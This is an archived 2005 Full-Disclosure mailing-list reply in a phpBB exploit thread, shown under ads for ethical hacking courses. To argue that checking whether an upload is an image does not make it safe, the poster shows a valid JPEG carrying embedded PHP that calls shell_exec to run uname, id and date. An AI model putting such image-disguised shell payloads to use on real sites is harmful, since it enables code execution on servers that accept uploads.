Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [Full-disclosure] Re: phpBB 2.0.17 (and other BB systems as well) Cookie disclosure exploit. |
|---|---|
| Date: | Thu, 27 Oct 2005 15:23:12 +0200 |
Le mardi 25 octobre 2005 à 17:02 -0400, Paul Laudanski a écrit :
Anyone have other ideas on this? I've already implemented some code to validate file input and its working. But is this the right approach?
I'm not sure to understand what you're talking about but if you're trying to positively validate that file XYZ is an image and not a PHP file, you're asking for trouble : $> wget http://nicob.net/mirrors/blowjob.jpg $> file blowjob.jpg blowjob.jpg: JPEG image data, JFIF standard 1.0 $> tail -n 5 blowjob.jpg <?php $resu = shell_exec("echo '' && echo '' && uname -a && id && date"); echo nl2br($resu); ?> $> php blowjob.jpg [garbage] Linux dellyre 2.6.[...] jeu oct 27 15:21:31 CEST 2005 [...] Nicob _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | RE: Smells like a phish, is a fish?, Ofer Shezaf |
|---|---|
| Next by Date: | Re: [Full-disclosure] Re: phpBB 2.0.17 (and other BB systems as well) Cookie disclosure exploit., Tatercrispies |
| Previous by Thread: | [Full-disclosure] Re: phpBB 2.0.17 (and other BB systems as well) Cookie disclosure exploit., Tatercrispies |
| Next by Thread: | Re: [Full-disclosure] Re: phpBB 2.0.17 (and other BB systems as well) Cookie disclosure exploit., Tatercrispies |
| Indexes: | [Date] [Thread] [Top] [All Lists] |